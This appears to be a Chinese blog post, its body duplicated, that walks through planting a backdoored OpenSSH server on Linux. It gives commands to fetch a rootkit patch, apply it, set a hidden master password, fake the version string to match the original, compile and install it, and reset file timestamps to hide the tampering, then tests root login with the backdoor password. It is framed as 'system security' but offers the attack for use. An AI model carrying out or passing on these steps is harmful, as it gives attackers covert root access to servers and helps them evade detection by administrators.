Linux系统安全之ssh后门
2013-09-30 14:46
204 查看
1.ssh -V
#查看当前的ssh版本信息
#OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 20102.查找ssh的配置文件
一般都在/etc/ssh中3.备份原来的文件的time
将/etc/ssh下的文件的备份
假设/etc/ssh/sshd_config 备份为/etc/ssh/sshd_config.old
4.wget存在后门的ssh
#http://core.ipsecs.com/rootkit/patch-to-hack/(已被墙) 后门
#http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/ 正规的ssh源文件
#openssh-5.9p1.tar(正规文件)
#openssh-5.9p1.path.tar(后门文件)5.tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff6.修改ssh信息
vi inculdes.h
##define SECRETPW “sky” 后门的密码vi version.h
#define SSH_VERSION “OpenSSH_5.8p1 Debian-1ubuntu3″ #修改为第一步ssh -V 查看到的信息
#define SSH_PORTABLE “p1″7.源码编译
yum install -y openssl openssl-devel pam-devel
./configure –prefix=/usr –sysconfdir=/etc/ssh –with-pam –with-kereros5
#–sysconfdir=/etc/ssh 是在第二步查找的路径
#如果不设定和源文件的路径
#strings /usr/sbin/sshd | grep etc
#就可以看出问题!!!编译过程中可能出现的报错:
configure: error: *** zlib.h missing – please install first or check config.log
#
#yum install zlib-develconfigure: error: *** Can’t find recent OpenSSL libcrypto (see config.log for details) ***
#
#yum install openssl openssl-develmake && make install/etc/init.d/sshd restart7.还原原来ssh文件的time
修改文件的修改时间(mtime)touch -r /etc/ssh/sshd_config.old /etc/ssh/config 等等8.测试
ssh root@localhost
输入刚才设定的后门的密码,如果登录成功,表示设定ok!参考:http://gov.com.im/art_design/2013/0616/378.html
#查看当前的ssh版本信息
#OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 20102.查找ssh的配置文件
一般都在/etc/ssh中3.备份原来的文件的time
将/etc/ssh下的文件的备份
假设/etc/ssh/sshd_config 备份为/etc/ssh/sshd_config.old
4.wget存在后门的ssh
#http://core.ipsecs.com/rootkit/patch-to-hack/(已被墙) 后门
#http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/ 正规的ssh源文件
#openssh-5.9p1.tar(正规文件)
#openssh-5.9p1.path.tar(后门文件)5.tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff6.修改ssh信息
vi inculdes.h
##define SECRETPW “sky” 后门的密码vi version.h
#define SSH_VERSION “OpenSSH_5.8p1 Debian-1ubuntu3″ #修改为第一步ssh -V 查看到的信息
#define SSH_PORTABLE “p1″7.源码编译
yum install -y openssl openssl-devel pam-devel
./configure –prefix=/usr –sysconfdir=/etc/ssh –with-pam –with-kereros5
#–sysconfdir=/etc/ssh 是在第二步查找的路径
#如果不设定和源文件的路径
#strings /usr/sbin/sshd | grep etc
#就可以看出问题!!!编译过程中可能出现的报错:
configure: error: *** zlib.h missing – please install first or check config.log
#
#yum install zlib-develconfigure: error: *** Can’t find recent OpenSSL libcrypto (see config.log for details) ***
#
#yum install openssl openssl-develmake && make install/etc/init.d/sshd restart7.还原原来ssh文件的time
修改文件的修改时间(mtime)touch -r /etc/ssh/sshd_config.old /etc/ssh/config 等等8.测试
ssh root@localhost
输入刚才设定的后门的密码,如果登录成功,表示设定ok!参考:http://gov.com.im/art_design/2013/0616/378.html
相关文章推荐
- Linux系统安全之ssh后门
- Linux系统安全之ssh后门
- 学习笔记8——linux系统安全优化之更改SSH服务远程登录的配置
- ECS Linux系统SSH服务安全配置
- linux系统安全之pam后门
- Linux系统安全之pam后门安装使用详解
- Linux 安全之SSH后门
- Linux系统利用SSH远程控制安全问题
- Linux 系统下 ssh 安全设置指南
- Linux系统安全工具之:Sxid和Skey
- Linux-SSH-安全外壳
- linux 系统安全加固(--待续)
- 用VXE保护Linux系统安全
- Linux普通用户可以重新启动系统,这么做是不是有安全问题?
- Linux系统下ssh的相关配置
- Linux文件处理命令、系统管理相关命令、系统安全相关命令
- 在CentOS Linux系统上,添加新的端口,启用ssh服务
- 使用SecureCRT设置linux系统登录的ssh公钥认证
- linux系统安全常规优化
- Linux系统安全常规配置